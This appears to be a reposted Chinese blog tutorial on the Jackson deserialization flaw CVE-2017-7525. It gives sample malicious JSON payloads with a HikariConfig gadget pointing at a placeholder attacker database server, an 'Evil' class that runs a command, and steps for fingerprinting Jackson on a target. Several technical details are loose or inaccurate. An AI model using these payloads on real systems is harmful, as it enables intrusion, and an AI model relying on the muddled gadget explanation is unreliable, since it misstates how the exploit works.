文章目录
Jackson 反序列化漏洞利用条件
1.DefaultTyping设置参数:开启了JAVA_LANG_OBJECT
2. @JsonTypeInfo注解: @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)或@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
Jackson 反序列化漏洞原理
CVE-2017-7525 是 Jackson 数据绑定库(jackson-databind)中的一个严重漏洞,允许攻击者通过反序列化恶意构造的 JSON 数据来执行任意代码。该漏洞主要与 Jackson 的多态类型处理机制有关。
多态类型处理功能允许在 JSON 数据中包含一个特殊字段(如 @class),用于指示 JSON 数据应被反序列化为哪个具体的 Java 类。如下所示:
{
"@class": "com.example.SomeClass",
"property": "value"
}
在反序列化过程中,Jackson 会读取 @class 字段,并尝试实例化 com.example.SomeClass。如果 SomeClass 类中存在不安全的代码或攻击者可以控制这个类的行为,那么攻击者就可以利用这个机制进行攻击。
漏洞利用过程
1.启用多态类型处理:
应用程序启用了 Jackson 的默认类型处理功能,例如通过 ObjectMapper.enableDefaultTyping()。
此配置允许在反序列化时根据 JSON 中的类型信息(如 @class 字段)实例化具体的类。
2.构造恶意 JSON 数据:
攻击者构造特制的 JSON 数据,包含 @class 字段,指向一个易受攻击的类(如 com.zaxxer.hikari.HikariConfig,该类在初始化时会执行某些操作)。
恶意 JSON 数据示例:
{
"@class": "com.zaxxer.hikari.HikariConfig",
"dataSourceClassName": "com.mysql.cj.jdbc.MysqlDataSource",
"dataSource.url": "jdbc:mysql://malicious-server/malicious-database",
"dataSource.user": "malicious-user",
"dataSource.password": "malicious-password"
}
在这个示例中,@class 字段指定了 com.zaxxer.hikari.HikariConfig 类,而其属性则是 HikariCP 数据源的配置。
3.反序列化过程:
当 Jackson 反序列化这个 JSON 数据时,会读取 @class 字段并尝试实例化 com.zaxxer.hikari.HikariConfig。
由于 HikariConfig 类在初始化时会执行一些操作(如设置数据源属性),攻击者可以在这些操作中嵌入恶意代码。例如,攻击者可以配置一个恶意的数据源,使应用连接到一个受攻击者控制的数据库服务器,从而泄露敏感信息或进一步执行攻击。
4.执行任意代码:
如果 HikariConfig 类在初始化过程中执行不安全操作(如加载远程资源或执行脚本),攻击者可以利用这些操作执行任意代码,从而达到远程代码执行的目的。
漏洞示例
存在一个类 com.zaxxer.hikari.HikariConfig,该类在构造函数中执行一些危险操作。如果攻击者可以构造如下的 JSON 数据:
{
"@class": "com.zaxxer.hikari.HikariConfig",
"property": "malicious payload"
}
恶意class
public class Evil {
Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Jackson 反序列化漏洞黑盒测试方法
猜测后端是否有Jackson
要判断后端是否有Jackson,可以使用以下方法进行黑盒测试:
- 发送一个请求到后端,看后端返回的响应是否包含Jackson提供的标志性特征。Jackson通常会在响应中返回一个包含“Jackson”或“jackson-core”等关键字的响应头或响应体字段。可以使用浏览器的开发者工具或者网络抓包工具查看响应内容来判断。
- 查看前后报文是否有发送一个包含JSON数据的请求到后端,看后端是否能够正确地解析和处理JSON数据。如果后端能够正常处理JSON数据,那么很可能后端使用了Jackson库来进行JSON的序列化和反序列化。
- 找到一个有Content-Type: application/json的报文,更改post参数,随便Post一段json数据,观察后端返回报文里面是否有错误信息com.fasterxml.jackson显示。
- 然后就是使用payload测试了。
版权归原作者 B1ackMa9ic 所有, 如有侵权,请联系我们删除。